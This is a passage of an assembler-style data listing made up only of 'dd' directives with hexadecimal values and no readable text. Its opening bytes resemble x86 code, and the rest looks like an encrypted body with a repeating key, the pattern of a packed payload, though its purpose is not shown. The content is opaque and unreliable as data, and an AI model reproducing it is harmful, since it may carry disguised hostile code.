		dd 9D8B0000h, 6221621h,	30E585C7h, 622h, 95030000h, 6221B9Dh
		dd 2ADDB5FFh, 6A0622h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 5E47EFC3h, 0E9D10F5Bh, 0Dh, 0AAEABA00h
		dd 36D5CA83h, 8A513318h, 6595FF54h, 6A062220h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 82D9C356h, 7092364Fh, 66167531h, 0A705C381h,	95FF006Ah
		dd 6223075h, 7AEBC08Bh,	298EF69Dh, 3B62F988h, 13A3C627h
		dd 5C8487C6h, 5BBD10CBh, 0A984524h, 0E7F23A96h,	0D503EAEDh
		dd 0CA603BB5h, 3FC5C3B4h, 6B5A1489h, 0F77A1C2Dh, 39F5CB3Fh
		dd 1F36F203h, 2A94970Ch, 848EABBEh, 5FE4EB75h, 1473BE42h
		dd 89E48D74h, 31A3D53h,	0B935A505h, 4180ACFCh, 3DDF4A3h
		dd 34C62E36h, 456483ECh, 133D22D8h, 0C5823FF8h,	0E14C5818h
		dd 48095D35h, 0E7D8F0A1h, 0ECE92A13h, 0
		dd 37000000h, 0EB77E7ACh, 4977E75Ch, 1F77E73Ch,	77F7E2h
		dd 77F7E3h, 277E600h, 5	dup(0)
		dd 0FD000000h, 77E7A5h,	2Bh dup(0)
		dd 2000000h, 14000000h,	922AF34h, 45335C64h, 0D0681142h
		dd 4619054Bh, 2223FC2Fh, 0B1501566h, 842CE74h, 0BD066C03h
		dd 59BB2910h, 9201E4CAh, 0AA3AC8DBh, 4D471560h,	2813A8E5h
		dd 65321344h, 361457Fh,	4023ADA6h, 0A7BB1566h, 17100E5Fh
		dd 37FB88EBh, 97CD1342h, 9FB14D3Dh, 17101F47h, 0D8256166h
		dd 4023AD35h, 0A7BB1566h, 17100E5Fh, 348A88EBh,	97CD1342h
		dd 2ADB4D3Dh, 15321566h, 2185D678h, 0B1D14066h,	2232198Fh
		dd 247CD666h, 0F3B23372h, 0F72D9673h, 2BB11A7Ah, 71321566h
		dd 9547406h, 25DF2BB9h,	0ABF49C30h, 35069E96h, 0E836D1E5h
		dd 3820AA9Fh, 0A1534342h, 3896FADBh, 0C3D1560h,	4432153Bh
		dd 22321C8Fh, 3CC12266h, 9D19E432h, 0C1BF9E95h,	241B7AEAh
		dd 1134FC06h, 0F6A81566h, 0BDEB5DAh, 2232068Fh,	0B4F99A66h
		dd 0DBA534DDh, 45FA65D5h, 0DC6161D4h, 5E1BE6Fh,	74E2EA07h
		dd 0F8B7989Fh, 0D7343C09h, 973DC599h, 8832156Eh, 44309369h
		dd 43521566h, 9C59406h,	742C427Dh, 4DB7D307h, 74343755h
		dd 0A9607D9Fh, 8FDB89CEh, 0DB321566h, 69406A9Fh, 0A4CD7DEFh
		dd 8E10332Fh, 443A9369h, 0A53D1566h, 11321564h,	0DBF7406h
		dd 421768D8h, 2226FC06h, 30771566h, 0E28FCC9Fh,	4FBF42h
		dd 0DDEDCC1Dh, 0FC6FA48Fh, 9542FBEh, 25CBA594h,	2D52C599h
		dd 11320DE1h, 8821FC66h, 0C4E21566h, 86D9A0E3h,	3DDB9522h
		dd 971C144Ah, 830153D2h, 0A7BB74D6h, 17100E3Fh,	0B5B7D293h
		dd 44343763h, 0DB321566h, 11321D8Fh, 0FB68566h,	260D0D84h
		dd 2BB7D3F7h, 54343755h, 0E15B7D9Fh, 50DB9B14h,	1B321566h
		dd 5DC9B13h, 48945367h,	9016A904h, 3489011Eh, 0EE1F949Dh
		dd 0AA01BCD3h, 0C1BFED60h, 24102F97h, 11249F69h, 0E3D1566h
		dd 44321576h, 22321E8Fh, 0B932B366h, 1F438E3h, 9C1578FBh
		dd 2238FC06h, 7C241566h, 69B6AF54h, 9E8DB7DBh, 2DE2EA07h
		dd 113202E4h, 99BD1A66h, 0AD321566h, 2232156Ah,	5893710h
		dd 0EBD417FAh, 5E9F6ABCh, 2232058Fh, 0A432DC66h, 2A59549Eh
		dd 8A0F0ACBh, 238B8558h, 18B79C57h, 7134376Dh, 773B90A0h
		dd 2D711344h, 113214E1h, 0D65AEC66h, 0ADAE720Dh, 22321577h
		dd 0F9A142F6h, 0FB0AEF70h, 44D92408h, 6173B561h, 0B887EAF5h
		dd 61343755h, 4432156Eh, 4263FCB9h, 1552E0E6h, 0B2C390EBh
		dd 4BDB1344h, 8A321566h, 0F02B5B79h, 6638155Eh,	7D172E7Eh
		dd 0F2CD3835h, 1132048Fh, 0D27F5766h, 5A017AECh, 0F9451816h
		dd 0DED33341h, 0DBB23ABh, 421BB1B1h, 22239069h,	1DDB1566h
		dd 0C9321566h, 72DF6E1Eh, 52A16A06h, 0D74A588Eh, 0AA011CE3h
		dd 4CDB4160h, 3E321566h, 0FB9F9A36h, 0E0122725h, 0AA507D4Fh
		dd 22299569h, 923D1566h, 88321573h, 4432058Fh, 7F7F8266h
		dd 2E5080F7h, 8BC04B2Ah, 0B1853AFBh, 8B87EAEBh,	71343755h
		dd 88329069h, 0FD541566h, 0AF5308A6h, 3308E4E3h, 13D7560h
		dd 44321563h, 0E6C19400h, 0C1CD7471h, 60CA759Ah, 44321575h
		dd 120FD4F5h, 0D016422Dh, 0E56359CEh, 89775695h, 99F390A2h
		dd 5F12E9A4h, 0DBB743Eh, 421BB1BDh, 223A9669h, 953D1566h
		dd 88321564h, 0C1F47406h, 2410266Fh, 10B61A23h,	71321566h
		dd 240AD70Eh, 31DBE0BCh, 48321566h, 0D47883FCh,	0FEC51AB7h
		dd 0A1FAF7F1h, 0A4D7B8C6h, 3DCDFEADh, 421026CFh, 7CDE9506h
		dd 70E19400h, 0DBF74BAh, 42102F97h, 43524706h, 0C1CD743Dh
		dd 8832048Fh, 3EE1E466h, 602DD982h, 0B5557F98h,	4F871CE6h
		dd 0C1BB22F4h, 241BB1B9h, 1132018Fh, 0FDAEC866h, 0A07B13F5h
		dd 7C5F5B3h, 7DAAE29Bh,	9669CAF3h, 0B18F968Eh, 22343766h
		dd 10299069h, 0A3D1566h, 44321572h, 2239FC06h, 22031566h
		dd 7C0875Eh, 85028659h,	43F99FDAh, 223B90A0h, 87771344h
		dd 443214ECh, 0A45AE066h, 0E8C83518h, 0BB9BA099h, 0C9CB1344h
		dd 8E4E3h, 1E617560h, 0EE68EFD1h, 2512AFDCh, 0A952C599h
		dd 13BA1AA7h, 0DE321566h, 0C1BB743Ch, 241BB185h, 11321F8Fh
		dd 5E23FB66h, 8D69C559h, 0E4387256h, 33011CE3h,	60525960h
		dd 4432156Eh, 545F07CCh, 8796786Eh, 0C2EB9400h,	0FB3D4F77h
		dd 0E15A74AEh, 0E4D233B6h, 0BB9BA099h, 57DB1344h, 59321566h
		dd 943B252Dh, 3037C912h, 501EA430h, 0B217D5B9h,	9CC70600h
		dd 0AA08E4E3h, 0C03D7560h, 22321563h, 0B5EC9400h, 58B373DBh
		dd 0BB535840h, 33B81AB6h, 0F8321566h, 8832156Ah, 0FB9A8F75h
		dd 0F98CCFE6h, 73EE0EFAh, 2CD590EFh, 0C452134Fh, 0A13D05BDh
		dd 11321560h, 88329069h, 0AD531566h, 22321443h,	1132198Fh
		dd 2C93466h, 2497BB40h,	8005A8F2h, 1BBC1A67h, 61321566h
		dd 44321563h, 0B762F7A9h, 18B7D33Dh, 0DA343755h, 44319869h
		dd 0DB521566h, 0F53F7D07h, 6152A92Ch, 4432156Ah, 0F76CECEAh
		dd 0CF1D1B84h, 0C9A38427h, 86B7B5DEh, 97CD7448h, 17101573h
		dd 883FFC06h, 1EC81566h, 91F9E8B7h, 0A9BF956Eh,	3BB12EE8h
		dd 0C1BF7492h, 24102F97h, 11321E8Fh, 527FD766h,	7ED31EDFh
		dd 140CE985h, 7752C599h, 954C6EDh, 25F827A1h, 86D190EFh
		dd 0A352134Fh, 4E53EDBCh, 66011CE3h, 25DB4760h,	0DD321566h
		dd 94884F3Bh, 0C5A34FFh, 2D94592Ch, 113203E8h, 8823FC66h
		dd 5EB51566h, 0AE39EB23h, 0BAE3550Bh, 0E290431Dh, 242B98F5h
		dd 0CFDFA6DCh, 0C2851A2Dh, 9D87EA07h, 24343766h, 9D5422D0h
		dd 9C5350B1h, 0AA08E4E3h, 4B637560h, 4468C3D9h,	0E853C5EDh
		dd 9BDBC599h, 7B321566h, 57CE25DEh, 9AF67E95h, 0F5EDB235h
		dd 3890BD41h, 0A7BBAE7Ah, 171BB181h, 8832198Fh,	238DB066h
		dd 2FA33005h, 13321568h, 81B7D304h, 16343755h, 24B61A06h
		dd 1E321566h, 883215EFh, 82B97366h, 2239FC07h, 0C4C31566h
		dd 5A7C630Dh, 0BC520CF9h, 96D87D24h, 16DBE824h,	8321566h
		dd 53FE49D1h, 97CD0461h, 171026CFh, 88239A69h, 0FA521566h
		dd 443424E6h, 1132108Fh, 743C766h, 4B53AAA2h, 223203EEh
		dd 1123FC66h, 0AF251566h, 0BC863C04h, 0F18B47C0h, 0E8324804h
		dd 542344Ch, 6608E4E3h,	0F2CDE960h, 113A9469h, 2521566h
		dd 918873ADh, 0A7BB74AFh, 171015CBh, 81B7D39Eh,	33343755h
		dd 2232188Fh, 0B90A2C66h, 0E043208Bh, 1CFF8403h, 815AEC8Dh
		dd 0EDC182CEh, 87FBA099h, 14521344h, 2AF19400h,	9A544B04h
		dd 0DBF749Fh, 42102F97h, 223A9369h, 993D1566h, 88321564h
		dd 94CD7406h, 22321F8Fh, 2923ED66h, 0B4FC1E36h,	0CDDC09C7h
		dd 21D0E3h, 1139FC60h, 22EC1566h, 0A38F5159h, 0F5C81A58h
		dd 94F4EDADh, 8E10266Fh, 535AE034h, 2DB8C857h, 113219E5h
		dd 8835FC66h, 0A1591566h, 0E6502DC5h, 0B887EA86h, 87343755h
		dd 443201E5h, 29DB7566h, 0A0321566h, 68E2CB7Ah,	7C0E62BEh
		dd 0EAB809B3h, 0E0B79807h, 7034375Ch, 0AC52C599h, 22321563h
		dd 0EA2A1E7h, 0E969E080h, 446F90EFh, 0A53D1344h, 1132156Eh
		dd 88309469h, 25521566h, 22321A8Fh, 375DE266h, 9EBE8B5Fh
		dd 0E63B4230h, 0CED490F5h, 223B90A0h, 7D641344h, 5B5F2C0Eh
		dd 223BFCB2h, 0C22C1566h, 0DC17A97Fh, 0BB0E9F2Fh, 145CD3h
		dd 1137FC60h, 0CF81566h, 0B1061C17h, 5F8C90EBh,	0EECE1343h
		dd 0DBBE0B6h, 42100B07h, 2BB7D39Ah, 56343755h, 88249669h
		dd 55DB1566h, 28321566h, 4AF5454h, 0DFAC0713h, 0DA2E64E7h
		dd 0A25AF35Fh, 1487D9Ah
		dd 0DF5294BAh, 46BA1A3Dh, 0A9321566h, 0EECB74B6h, 0AA01BCD3h
		dd 46BC1A60h, 42321566h, 0E0B79807h, 7434375Ch,	2252C599h
		dd 7028FADFh, 4F0CF9E6h, 0A5B79C07h, 4B343747h,	223213E7h
		dd 73817566h, 4E537406h, 66011CE3h, 70525260h, 66CAE2DFh
		dd 23D4E76h, 44321566h,	97D07D07h, 90529F69h, 0B99D968Ch
		dd 443CFC73h, 888F1566h, 94FDBC7Ah, 340F809Ch, 0E979A30Fh
		dd 3EB81A07h, 71321566h, 8832068Fh, 23D10666h, 0C693E1A1h
		dd 7711B4CBh, 0EC37751Ah, 0FBF310B1h, 0DD537406h, 3301BCD3h
		dd 87C77560h, 443217E7h, 43EDA366h, 2BC390EBh, 77CB1344h
		dd 0C1BBECB6h, 241BB061h, 0F8B37306h, 98DB8544h, 87321566h
		dd 0B70B554h, 4DEF7AB2h, 24053234h, 259E6CCBh, 22321A8Fh
		dd 185A2066h, 1884D98Bh, 0B6ACD207h, 591EF25h, 221790A1h
		dd 884A1344h, 0C13D1566h, 2232156Ch, 1132108Fh,	3BDDA666h
		dd 0F9B1330Ah, 241030FFh, 0C3B61A66h, 6132157Eh, 4432156Eh
		dd 0D9BD9B62h, 5788F14Eh, 0BB3B90A0h, 4B7E1344h, 223214EDh
		dd 0F85AED66h, 74EBCF7Ah, 779BA099h, 44521344h,	1E3612D8h
		dd 883215E4h, 22527466h, 98A1C9DEh, 35875B06h, 79B79807h
		dd 0AD34375Ch, 22321576h, 652B8E0Fh, 1D291616h,	58F56A92h
		dd 0B6421A72h, 1E52C599h, 5EB3D4D1h, 7B433994h,	0D1B79C07h
		dd 71343CC2h, 8832138Eh, 5BCCE466h, 0A8488822h,	16DB4CBCh
		dd 9D321566h, 0CBA251D2h, 0CB53D78Bh, 11321560h, 9AFE1C9Fh
		dd 0C1F4B6C9h, 2410266Fh, 113CFC2Ah, 0A75C1566h, 8B5D43D8h
		dd 0F219038Dh, 0EDE3BE71h, 465A7406h, 0B8EF61B8h, 119BA099h
		dd 5DB1344h, 0C321566h,	1265A812h, 0AC111C00h, 70C15E4Ah
		dd 17ECD026h, 0ADF5E8D3h, 2232156Dh, 0B83EEC1Ch, 6D382439h
		dd 0C95BFD4Ah, 8E4E3h, 0C1CDED60h, 88321C8Fh, 56F4F166h
		dd 0C04FC5D7h, 94BB5680h, 8E1BB191h, 44321D8Fh,	40020B66h
		dd 0B4B062Ah, 81B7D3E1h, 8343755h, 0A00D7D9Ah, 0EECEA2E7h
		dd 0AA01BCD3h, 443FFC60h, 0DFC51566h, 0E0A5CAE7h, 778C03E2h
		dd 0C9E05A18h, 8E4E3h, 113BFC60h, 70EC1566h, 2974D346h
		dd 0DD0E5544h, 1138FCB6h, 0ECE01566h, 559F018Ch, 2D6A74FDh
		dd 0B5C990EFh, 83DB134Fh, 51321566h, 7D26B996h,	28F00F94h
		dd 0DF4C9D4h, 4210266Fh, 3A5AE02Ah, 71813A26h, 3DCD7493h
		dd 421026CFh, 22389A69h, 90521566h, 66C638A8h, 25537526h
		dd 0D3B7989Ah, 1E34375Ch, 88321DEEh, 46BB1A66h,	42321566h
		dd 0F8E2EA07h, 88321560h, 1C945BA4h, 0A7BBDAFCh, 171BB19Dh
		dd 88339769h, 82CA1566h, 11CE3h, 0F8CE5360h, 88321576h
		dd 4DBB1FABh, 1C085F5Ah, 939E8302h, 77B75742h, 9A34010Eh
		dd 2DB11ADCh, 0F8321566h, 8832156Ch, 0E253B4DDh, 0C8C221Fh
		dd 0A4CDAB98h, 8E1026CFh, 44359E69h, 0A43D1566h, 11321567h
		dd 79B7989Ah, 0AD34375Ch, 2232156Bh, 0B2ED8CBh,	3C543E2Ah
		dd 5727DEF9h, 0DEE2EAF6h, 0B43190EFh, 82DB134Fh, 10321566h
		dd 0B9DAAB0Fh, 0EF6621E8h, 81B7D3E2h, 3343755h,	223C9469h
		dd 18DB1566h, 0E7321566h, 2BBDB78Bh, 722F6008h,	0CD226F0Eh
		dd 9DB41AE7h, 0AD321566h, 22321576h, 305A089Bh,	0F3E4E0A0h
		dd 474799F5h, 9B3C31A8h, 229BA099h, 8DDB1344h, 26321566h
		dd 0CFF1491Ah, 2BC390EBh, 87DB1344h, 0FD321566h, 5AF3C15Dh
		dd 0BA3E869Dh, 4AC77F12h, 94CD535Ch, 22299269h,	9B3D1566h
		dd 88321573h, 4432058Fh, 4CBA1D66h, 588F8B1Eh, 5369DF27h
		dd 2FD3FF3Dh, 29B79C64h, 0E9343CC3h, 0BB3B90A0h, 0AD751344h
		dd 22321569h, 0CD97C7EAh, 0F67C3FA2h, 0C10F06Eh, 4ADF7956h
		dd 0FEB59BCAh, 2187EA9Fh, 24343755h, 43CC9E00h,	2BC390EBh
		dd 87521344h, 443217E3h, 0A905A666h, 0C1CD749Eh, 60E9AB06h
		dd 0FE86030Fh, 2DB79C07h, 71343CC3h, 87ECA269h,	443216E7h
		dd 0D9B97366h, 18DB7507h, 2E321566h, 0A3D3DBF0h, 41A73D74h
		dd 18B7D307h, 0CF343755h, 0E3E07D9Ah, 0DDCEC1FCh, 3301BCD3h
		dd 99DA7560h, 61321566h, 0ABE05D62h, 0B1808047h, 0C47462A4h
		dd 7E959DD1h, 2D697406h, 11321AE0h, 8838FC66h, 1E421566h
		dd 0D8E2AD39h, 49694454h, 79B79807h, 4B34375Ch,	223213EDh
		dd 77CE7566h, 6153CFEDh, 44321574h, 0E6FBF2B8h,	128ADDA7h
		dd 7B227405h, 0C1EEE172h, 0F2CDEA8Fh, 28F89406h, 94F3ED9h
		dd 8051AAA0h, 0A7BB742Fh, 171BB075h, 88321C8Fh,	0AC8C7C66h
		dd 76069BFDh, 94F49198h, 8E10266Fh, 47B31A21h, 42321566h
		dd 155A749Eh, 7D88D45Fh, 0ED87EA93h, 42343755h,	0FED89400h
		dd 8EB41A24h, 4B321566h, 223215EEh, 94BF7466h, 8E102F97h
		dd 443A9369h, 0AD3D1566h, 11321564h, 58CD7406h,	44321B8Fh
		dd 0FF272066h, 2BFA89Ch, 43E3756Eh, 0CD433391h,	0B9702E3h
		dd 0ACB1E960h, 8E1031E7h, 22B71A66h, 0CB321566h, 1132156Bh
		dd 87E5CD8h, 0E77FB47h,	32DA28CFh, 18B7D316h, 0CF343755h
		dd 69557D9Eh, 0DDCBF514h, 3301BCD3h, 89BA1A60h,	0BD321566h
		dd 0D3B7989Ah, 7134375Ch, 8832138Eh, 0EFAA5966h, 44F5C876h
		dd 0AE6CDAEDh, 8360A801h, 4BE2EA07h, 223212E4h,	10B11A66h
		dd 70321566h, 0E12990EFh, 42CA134Fh, 0ABBEAA00h, 81B7D307h
		dd 3343755h, 22321A8Fh,	72BE1466h, 0A437A9Eh, 0E1CCC291h
		dd 7C6B7F16h, 3881A40Eh, 883EFCE8h, 42521566h, 59FBA12Eh
		dd 4D024D8Ah, 3DCDDE51h, 421026CFh, 0D3B79893h,	1E34375Ch
		dd 88321DE6h, 0CF3D7566h, 22321566h, 1EE2EA07h,	883214E0h
		dd 0B152E966h, 223BFC36h, 3EB1566h, 223EF1DCh, 1A390FD3h
		dd 3DB79C07h, 0F8343CC3h, 88321561h, 0CE8D4742h, 0E4178034h
		dd 33011CE3h, 84DB5660h, 0D7321566h, 47A5A6EEh,	0D7718B00h
		dd 0E0531051h, 84445FC1h, 4252EC06h, 0CEB97307h, 3DCD7407h
		dd 421026CFh, 2232198Fh, 0EF770F66h, 0C85F996Dh, 1249BEB7h
		dd 0D3B798C4h, 7134375Ch, 0FCDEE4E7h, 0F33D61E8h, 36DB749Fh
		dd 91321566h, 0A9B9579Ch, 0D7069E61h, 5FC47FB1h, 0C14F8BDEh
		dd 778A706Fh, 0CDCEEDB6h, 0B9736E3h, 0A1827560h, 4E537406h
		dd 66011CE3h, 33DB5960h, 7D321566h, 0D4E2BFBFh,	7C2F58B1h
		dd 69CB06AAh, 8F712368h, 0EE5EFE0Eh, 4437FC9Dh,	584C1566h
		dd 0EE4BCE87h, 0AA3DDCD3h, 0C5CA7560h, 0CB300BEh, 94BF7477h
		dd 8E102F97h, 4BE2EA9Eh, 22321EE2h, 9D3D7566h, 88321566h
		dd 25E19E00h, 878590EFh, 3DB134Fh, 39321566h, 844DC9Fh
		dd 4D4A8021h, 9B7A5997h, 8DCF793h, 0CF547515h, 0A7F4749Dh
		dd 1710266Fh, 9BDBE022h, 70321566h, 0CBCE3102h,	0D7A0F1E6h
		dd 0B16283C6h, 0A9E3BFF6h, 775A3242h, 718966E8h, 88269169h
		dd 4ADA1566h, 0B7321566h, 953F42ACh, 0ABA52444h, 86B5B15Ah
		dd 0FAB34F42h, 14DE0606h, 2187EA07h, 24343755h,	43C99E00h
		dd 2BC390EBh, 0E3D1344h, 4432156Eh, 0D5B97306h,	7005DEE6h
		dd 9ADBC599h, 9321566h,	8734E2CDh, 95FF90EEh, 68E44D04h
		dd 31420388h, 5B79C69h,	0F8343CC3h, 8832156Dh, 8A6E8C27h
		dd 9E602EE9h, 0D7DD4752h, 0AA011CE3h, 54DB5660h, 0B2321566h
		dd 59E2A36Ah, 1CB548h, 0AF6E3122h, 4A908FABh, 0ADBC7B9Ah
		dd 8832108Fh, 75BE1A66h, 97CD50BFh, 171026CFh, 818B7593h
		dd 0F02ABAE2h, 0A7BF74A3h, 17102F97h, 0E8E2EA9Ah, 0E8897335h
		dd 2FDA4C20h, 52321566h
		dd 0A30A975Eh, 4CC5F8C4h, 0D27A7732h, 706B7406h, 2D1990EFh
		dd 4FDB134Fh, 1D321566h, 98600396h, 251772C7h, 0C1F4DE3Eh
		dd 2410266Fh, 1FBC1A35h, 0E8321566h, 4432108Fh,	0B3EB7066h
		dd 705270BFh, 0B6987D07h, 0BBCAD376h, 1BCD3h, 113BFC60h
		dd 50081566h, 73D40BD7h, 0AF167AC3h, 3308E4E3h,	58CDE060h
		dd 44239B69h, 2EDB1566h, 92321566h, 856BCE67h, 161A7CA0h
		dd 0ABA3989Dh, 38973AE3h, 35B1EC60h, 42103FDFh,	11B61A66h
		dd 0E8321565h, 0BB3B90A0h, 0AD741344h, 22321560h, 0B609F7F6h
		dd 0B95A7791h, 0B1C883A8h, 119BA099h, 9CCE1344h, 0AA08E4E3h
		dd 0CD3D7560h, 22321560h, 11329A69h, 61521566h,	44321577h
		dd 0A7E67AF3h, 303BD137h, 0D1AEF473h, 0BD0AB5AEh, 0DC64AE54h
		dd 70530A07h, 1CBC599h,	6D979EE3h, 23BD1A60h, 0E8321566h
		dd 883A9569h, 0CE3D1566h, 22321564h, 94F47406h,	8E10266Fh
		dd 0CF547520h, 76D194AEh, 702C1F48h, 2F08C30Eh,	443EFC9Ah
		dd 68211566h, 4155B3D1h, 5764FB46h, 0F1CDAAF4h,	241026CFh
		dd 11239569h, 84DB1566h, 56321566h, 71E5271Eh, 0EA5FFC95h
		dd 8786D0D0h, 44321DE1h, 20B31A66h, 71321566h, 79B79807h
		dd 0BD34375Ch, 0A83DC599h, 11321569h, 88321F8Fh, 0B7FFAF66h
		dd 0EE6AD45h, 9885130Fh, 0A1978EE3h, 0C1F4E960h, 2410266Fh
		dd 10B51A20h, 70321566h, 0B896150Eh, 953D75F4h,	1137FD90h
		dd 82881566h, 22CAF5D6h, 0B6DED4E7h, 0A4CD743Eh, 8E1026CFh
		dd 443C9E69h, 2D521566h, 113215E5h, 0C7FA9466h,	2547ADD1h
		dd 8B7306h, 0E0B973BFh,	79B79807h, 2434375Ch, 43FD9E00h
		dd 9B3DC599h, 8832156Dh, 4432138Fh, 52386F66h, 98C9A3BFh
		dd 0A1978AE3h, 48BB1A60h, 0CB321566h, 11321561h, 45B5E0B7h
		dd 82171818h, 11CE3h, 91525360h, 336255BCh, 351992F1h
		dd 485A7438h, 0EDC4C129h, 2187EA9Fh, 0AD343755h, 2232156Fh
		dd 0EA591DB2h, 0FC960EA2h, 0B5B798FBh, 0D734375Ch, 7152C599h
		dd 6AB35DD6h, 16667E1h,	2226FC07h, 9C871566h, 1AEFE8FDh
		dd 8B8F89C3h, 777C362Fh, 0B27DA067h, 1533F0Ch, 6D97B6E3h
		dd 25BB1A60h, 1E321566h, 883214ECh, 0C1F4EC66h,	2410266Fh
		dd 0AE547520h, 0E0535F54h, 0D0FF4581h, 8B87EA9Fh, 71343755h
		dd 0A3E9AE00h, 44BE1A37h, 7B321566h, 0E0B79807h, 7D34375Ch
		dd 4B52C599h, 223216E4h, 0C1B97366h, 7AB37334h,	2569B753h
		dd 87BD90EFh, 9C3D134Fh, 88321561h, 44339269h, 0E4C71566h
		dd 33011CE3h, 83D5360h,	4432156Eh, 22309E69h, 70521566h
		dd 0AA462E0Eh, 4DBD1AD7h, 42321566h, 62E9AF00h,	0E9F39E00h
		dd 779BA099h, 0CB521344h, 11321563h, 365B4163h,	0C1BF748Eh
		dd 24102F97h, 0F8E2EA9Eh, 88321568h, 3F41A642h,	8392B238h
		dd 70606BBEh, 0DBBE917h, 421BB0F5h, 0F18D1A06h,	11379469h
		dd 9541566h, 25E8BBACh,	113B90A0h, 71741344h, 88321B8Fh
		dd 0F4E11266h, 4D1BCAD5h, 0C6FC21FEh, 9A89519h,	26355895h
		dd 0CF5A744Fh, 1EED6C8Ch, 883200EEh, 0C63D7566h, 22321566h
		dd 1132128Eh, 39C38F66h, 0AF218313h, 28DB7439h,	43321566h
		dd 0C6D5D800h, 7825DE57h, 8B87EABEh, 0ED343755h, 0B2C390EBh
		dd 0CF3D1344h, 22321569h, 11321F8Fh, 0EFA9CA66h, 0C2E64FE9h
		dd 0DDFC4C1Ch, 113BFCB6h, 48E71566h, 8F9E401Dh,	0AB2F9A26h
		dd 389782E3h, 883EFC60h, 95B31566h, 45DA5F1Ch, 1BB17FD4h
		dd 35B1F589h, 421031E7h, 0A9B71A66h, 0F8321566h, 8832156Dh
		dd 0F44E8392h, 4B4615E4h, 0D74A69F8h, 0AA011CE3h, 48DB4660h
		dd 22321566h, 0AC94B875h, 7F0C8AE7h, 2C8A4945h,	0EC8CF538h
		dd 11269669h, 87DB1566h, 9C321566h, 8B5E79E7h, 7AB56699h
		dd 0D57AE01Eh, 0F1CDB058h, 241026CFh, 15B61A06h, 0EE321566h
		dd 25E949DEh, 18C390EBh, 71CB1344h, 0D61ACCE7h,	4B524545h
		dd 223215EDh, 70694366h, 87E2EA07h, 443214ECh, 0A7BBEC66h
		dd 171BB055h, 8832108Fh, 4B019B66h, 0A7F4F7FFh,	1710266Fh
		dd 8837FC21h, 6F251566h, 4AF77165h, 0D6834BE1h,	88321E8Fh
		dd 8F223C66h, 0D2FFAC22h, 0B6053D92h, 8832108Fh, 1B384666h
		dd 97CD378Eh, 171026CFh, 98DA759Ah, 0A7321566h,	9E67DE39h
		dd 287085A7h, 0F8BBB54h, 0FABEE267h, 7F3EB323h,	0BDF7953Eh
		dd 79B79807h, 4B34375Ch, 22320CE4h, 1126FC66h, 0F1B11566h
		dd 0A470B44Ch, 0C3717A3Ch, 0BE00B524h, 0F83383A5h, 94CD9850h
		dd 0FC8D1A06h, 1123FD34h, 0CDD31566h, 41842E95h, 825E009Ch
		dd 3C99A65Ah, 0D014173Ah, 0C1BB743Ch, 241BB051h, 1132058Fh
		dd 40107066h, 4F48DD25h, 0C97814Eh, 0EC38AC9Dh,	98F9650h
		dd 44343742h, 22BC9069h, 90521566h, 4FD353BEh, 5FD39405h
		dd 433D8EE2h, 223B90A0h, 0E8751344h, 4432198Fh,	3BEA0766h
		dd 0E5D9B0DDh, 0BE67B003h, 4426FDFEh, 5C641566h, 0BD90ED26h
		dd 0CE857F88h, 3F804BEAh, 0EC4F5119h, 706C9D18h, 0EA4C100Eh
		dd 0F1CDE080h, 241026CFh, 0E0B79893h, 7134375Ch, 2252C599h
		dd 0C160FCE7h, 70E8AA69h, 2D0990EFh, 0AC52134Fh, 22321572h
		dd 0A15685F5h, 2DBC2FDCh, 0DCD855E6h, 4CC8018Fh, 5B51437Ch
		dd 1E89400h, 0C5544FBCh, 432FCDA9h, 223B90A0h, 61711344h
		dd 44321577h, 78C6FFA2h, 615593ADh, 5A87C7DAh, 3DDF2F2h
		dd 2BC47D38h, 17DB871Ch, 43321566h, 4C4BD4D1h, 8B87EA70h
		dd 0E4343755h, 0B2C390EBh, 49DB1344h, 0C4321566h, 58D41D0Fh
		dd 11AC6962h, 0FFC8FE25h, 0A53DC599h, 1132156Ah, 88349369h
		dd 0C03D1566h, 22321566h, 0B40D90EFh, 8FDB134Fh, 2F321566h
		dd 0C1DC42A3h, 94F441F6h, 8E10266Fh, 4CDBEC25h,	73321566h
		dd 906FA82Ch, 0E0128059h, 0B8138246h, 22299B69h, 0F9521566h
		dd 88321577h, 6BA1F902h, 1556702Bh, 2B17C25h, 9C8F5EC0h
		dd 25524F08h, 8B87EA07h, 0F8343755h, 88321575h,	730A6B98h
		dd 7D5618D1h, 0CD2899A4h, 1726055h, 0C97CDD21h,	8E4E3h
		dd 0C1CDED60h, 882A9369h, 0AD521566h, 2232156Dh, 0A536549Dh
		dd 0F7DEE5B3h, 0C57377E9h, 0C12FDBB5h, 94BB742Bh, 8E1BB025h
		dd 0C58F9693h, 22343742h, 100D9069h, 60521566h,	44321568h
		dd 8E86A84Dh, 5BBCCC7Eh, 502A50C2h, 4EDBCE19h, 65321566h
		dd 0CCD5F762h, 2740CE22h, 4ADB4AE5h, 31321566h,	0AC0D0CB2h
		dd 0B9BE1A86h, 940950BFh, 0A7F474E1h, 1710266Fh, 8823FC25h
		dd 724E1566h, 4FB15657h, 5D41C3DBh, 36DB654h, 2C709D8Ah
		dd 0A932BD65h, 11321E8Fh, 0B1A4BE66h, 0ADA55248h, 987418BFh
		dd 229BA099h, 70521344h, 25EB9E00h, 18C390EBh, 0F8CE1344h
		dd 8832156Fh, 3FD6D231h, 323E9FDFh, 71E2EA52h, 88319A69h
		dd 81B21566h, 0A7BB74E0h, 171BB02Dh, 88321F8Fh,	0A9244066h
		dd 0A545CC85h, 0D7E4E519h, 0AA011CE3h, 4BDB5660h, 0F1321566h
		dd 11AB4823h, 1EE6BF83h, 0ED5AC07Ah, 0A83DA085h, 11321567h
		dd 0BEE77D9Eh, 0BBCAF03Dh, 1BCD3h, 1139FC60h, 0D051566h
		dd 4ABE0334h, 529C9E57h, 0E0B7989Bh, 8734375Ch,	44320FE2h
		dd 30DA7566h, 0FA321566h, 0DA1BFD8Ah, 38B6B2D4h, 6328DE78h
		dd 239CA853h, 77534E1Bh, 0F552E9B6h, 4311A7FDh,	0B47590EFh
		dd 6052134Fh, 44321572h, 5704BD9Dh, 4F155693h, 6E7875DDh
		dd 67C4BDDDh, 42FF3CEBh, 0E0B94E93h, 81B7D307h,	7343755h
		dd 10D37D9Fh, 0EEC7FFCCh
		dd 0AA01BCD3h, 4437FC60h, 9E5F1566h, 1EB7F15Fh,	883218E8h
		dd 443AFC66h, 7BBF1566h, 0A72BE859h, 0DBF3E5Dh,	42102F97h
		dd 0DAE2EA9Eh, 0B47D90EFh, 53D134Fh, 44321576h,	22321E8Fh
